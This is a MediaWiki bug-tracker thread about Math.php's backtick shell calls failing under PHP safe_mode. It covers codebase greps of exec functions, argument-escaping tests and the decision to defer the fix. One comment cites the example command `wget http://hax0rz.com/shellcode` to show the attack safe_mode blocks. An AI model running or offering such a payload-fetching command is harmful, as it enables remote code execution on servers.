Last modified: 2011-08-19 22:24:03 UTC
math.php is not compatible with php safe_mode. $contents = `$cmd`; wfDebug( "TeX output:\n $contents\n---\n" ); using backticks is forbidden in safe_mode: PHP Warning: shell_exec(): Cannot execute using backquotes in Safe Mode in /var/www/wiki/public_html/includes/Math.php on line 75 please consider using popen() instead. it is easy to do and compatible with safe_mode: $phandle = popen( $cmd ); $contents = fgets( $phandle ); fclose( $phandle );
safe_mode is not supported; additionally a configuration with safe_mode is likely to use half a dozen other broken configuration items such as disabling of these functions.
it is perfectly simple and trivial to repair currently broken math.php so it runs perfectly fine in safe_mode, you are stating that it is mediawiki's official policy to refuse to do such things even when it is trivial? this fix breaks _absolutely nothing_ for non-safemode, and makes it _work_ in safe_mode. so what's the problem?
There isn't necessarily a problem in this particular case, but in other instances, MediaWiki relies upon things which are disabled under safe mode, or which may well be broken - Brion's point is that if safe mode is on, then a number of other configuration options might be set within PHP or even the web server software, which would produce incompatibilities with MediaWiki.
A safe_mode configuration will most likely have other program execution functions also disabled (and if it doesn't, it's a very poor excuse for a "safe" configuration, as popen etc allow you to do everything that backticks can do!) So there wouldn't seem to be much point to this, would there? If you don't require safe_mode, turn it off. If you do, but your suggestion works, then your safe_mode is itself broken and isn't protecting you. (And various other things also may break, as we don't support safe_mode.) I recommend you submit a patch to PHP to treat backticks with the same permission level as other shell-out methods.
i don't quite get this digging-in-heels attitude from you brion. this patch breaks nothing and makes it work in safe_mode. math.php can get changed far easier than getting PHP to "fix" safe mode. ok, you have ideological issues with PHP safe mode. fine. it might be broke on some sites. fine. however not all of us running mediawiki in safe_mode are complete idiots running broken servers, please don't treat us as such. it is quite easy to run mediawiki in safe_mode with few problems (other than uploads). other extensions and plugins can be made to cleanly and easily and simply work in safe_mode without any problems at all (for example, graphviz). is it so outrageous to accomodate us with this tiny change that breaks absolutely nothing for those not running in safe_mode? or is ideology going to win out? i might have expected this kind of response from TDR or DJB, do we have a budding new candidate here?
Can you provide some details of your configuration? (PHP version, any other disabled/enabled functions, safe_mode_exec_dir, open_basedir etc). Just want to check if there's any other fun surprises, and if we can/ should make similar change elsewhere in the code. (I *do* recommend trying to get PHP fixed, independently of any changes that may be made to MediaWiki. Inconsistency between shell_exec and popen seems kind of odd when they already have the infrastructure for a safe_mode_exec_dir. That doesn't mean we can't make a tweak here to accommodate it, and this bug has *not* been closed WONTFIX.)
php 4.3.11 apache 2.0.53 linux 2.6.14+grsec+pax (www.grsecurity.org) safe_mode = On safe_mode_gid = Off safe_mode_include_dir = safe_mode_exec_dir = /usr/local/bin/php_safe_mode_exec_dir safe_mode_allowed_env_vars = PHP_ safe_mode_protected_env_vars = LD_LIBRARY_PATH disable_functions = disable_classes = (yes, php sucks. yes, shell_exec, popen, etc inconsistency makes no sense. true. undisputed. yes, safe_mode is imperfect. it doesn't protect against _everything_. true. undisputed. what safe_mode does prevent is script kiddies coercing php into doing `wget http://hax0rz.com/shellcode` because you can prevent wget from being executed. and this is the most common exploit i've seen on PHP. safe_mode closes it. does safe_mode close all avenues of attack? no. nothing does, short of encasing your PC in 20 tons of concrete and sinking it to the bottom of the mariana trench. what safe_mode does do is make mediawiki somewhat more acceptable to large shared hosting services, and that can only be a good thing. and yes, i'll pressure the PHP devs to fix safe_mode.)
Quick survey of usage grepping around: shell_exec won't work under safe_mode: ./includes/Image.php: $conv = shell_exec( $cmd ); ./includes/Image.php: $conv = shell_exec( $cmd ); `` is equivalent to shell_exec and won't work under safe_mode: ./config/index.php: if (strstr(`$file`, $versioninfo[1]) !== false) ./includes/Math.php: $contents = `$cmd`; ./includes/MimeMagic.php: $m= `$wgMimeDetectorCommand $fn`; ./includes/proxy_check.php: $host = trim(`hostname`); ./maintenance/parserTests.inc: $diff = `diff -au $infile $outfile`; popen should work, subject to safe_mode_exec_dir: ./includes/Export.php: $this->handle = popen( $command, "w" ); ./includes/GlobalFunctions.php: $handle = popen( $cmd, 'r' ); ./includes/GlobalFunctions.php: $handle = popen( $cmd, 'r' ); Docs don't specify about proc_open. ./includes/Parser.php: $process = proc_open("$wgTidyBin -config $wgTidyConf $wgTidyOpts$opts", $descriptorspec, $pipes); There's this warning on docs for system() and popen(): "With safe mode enabled, all words following the initial command string are treated as a single argument. Thus, echo y | echo x becomes echo "y | echo x"." Hopefully that's not actually true, or I don't think anything we shell out to would work...
Also exec() and passthru(), which understand safe_mode and safe_mode_exec_dir: ./includes/Database.php: exec( "php $IP/includes/killthread.php $timeout $tid &>/dev/null &" ); ./includes/DatabaseOracle.php: exec( "php $IP/killthread.php $timeout $tid &>/dev/null &" );*/ ./includes/DatabasePostgreSQL.php: exec( "php $IP/killthread.php $timeout $tid &>/dev/null &" );*/ ./includes/ParserXML.php: exec($html2xml.' < '.$tmpfname, $a); ./includes/ParserXML.php: exec($wgWiki2xml.' < '.$tmpfname, $a); ./includes/ProxyTools.php: exec( "php $params &>/dev/null &" ); ./includes/SpecialUpload.php: if (wfIsWindows()) exec("$scanner",$output, $code); ./includes/SpecialUpload.php: else exec("$scanner 2>&1",$output,$code); ./maintenance/lang2po.php: exec( XGETTEXT_BIN ./maintenance/lang2po.php: exec(MSGMERGE_BIN.MSGMERGE_OPTIONS." $from $pot -o $dest "); ./maintenance/dumpHTML.php: passthru( "php dumpHTML.php -d " . wfEscapeShellArg( $dest ) . " -s $chunkStart -e $chunkEnd" ); ./maintenance/mwdocgen.php:passthru($command); Yuck! Some quick testing (under PHP 5.1.0RC4) indicates that the documentation comment is TOTALLY FALSE. Separate arguments do get passed, with spaces and quotes separating them as expected, with all the above functions.
./includes/proxy_check.php: $host = trim(`hostname`); i have to wonder if there isn't a better way to do this. not to mention it won't work on win32 without cygwin (ick). i wonder if a lot of this stuff can't be cleaned up.
(In reply to comment #10) > ./includes/proxy_check.php: $host = trim(`hostname`); > i have to wonder if there isn't a better way to do this. not to mention it won't work on win32 without cygwin (ick). > i wonder if a lot of this stuff can't be cleaned up. There probably are better ways to do things, and this particlar output is for display purposes only, but a subset of hostname is a standard application on Windows 2000, XP (Professional edition at least), and 2003. Microsoft references include: http://support.microsoft.com/dllhelp/? dlltype=file&l=55&alpha=hostname.exe&S=1&x=7&y=17 http://www.microsoft.com/technet/scriptcenter/topics/networking/02_atnc_ basic.mspx
i meant a standard way of doing it in php, instead of spawning external executables. there is after all dns lookup facilities in php.
popen() in safe mode *does* appear to be misapplying escaping rules. I'm testing this math code: <math>\frac{123}{456}</math> It calls this command line: /opt/safe/debug '/home/brion/src/wiki/rel1.5/images/tmp' '/home/brion/src/wiki/ rel1.5/images/tmp' '\frac{123}{456}' 'utf-8' Calling texvc returns 'S', for syntax error. Calling a little debug script I can see that the parameters are misescaped: #!/usr/bin/python import sys for arg in sys.argv: print arg shows output: /opt/safe/debug /home/brion/src/wiki/rel1.5/images/tmp /home/brion/src/wiki/rel1.5/images/tmp \\frac\{123\}\{456\} utf-8 Turning safe_mode back off I get the expected output: /opt/safe/debug /home/brion/src/wiki/rel1.5/images/tmp /home/brion/src/wiki/rel1.5/images/tmp \frac{123}{456} utf-8 Testing with PHP 4.4.0 (Ubuntu Breezy packages). Dan, did you test this? Does it work with your system or do you also end up with escaping failures?
yes I got S (syntax error), so it needs more work. i didn't dig down enough to see escaping failures. the graphviz extension writes commands to a file then tells dot to read from the file, perhaps the same could be done here?
this also brings up a point, could someone exploit the math plugin in non-safemode to execute arbitrary shell commands? since it backticks out to a shell...
Not unless there's a bug in escapeshellarg().
I've filed a bug on the inaccurate documentation: http://bugs.php.net/bug.php?id=35161
Created attachment 1053 [details] Work in progress: wfShellExec() wrapper In progress patch: adds wfShellExec() wrapper which calls popen() when in safe mode. Also adds a compatibility implementation of stream_get_contents() (handy new function in PHP 5). Doesn't fully work yet as popen() corrupts program arguments in safe mode.
this seems relevant: safe_mode is going away. http://bugs.php.net/bug.php?id=32701 however a good framework for executing commands would still be useful.
Marking this LATER. The execution functions under safe mode are just too broken to actually get anything done with them as is.
General consensus is that we don't really care about supporting ill-concieved deprecated features.
and it only took 6 years to come to that conclusion.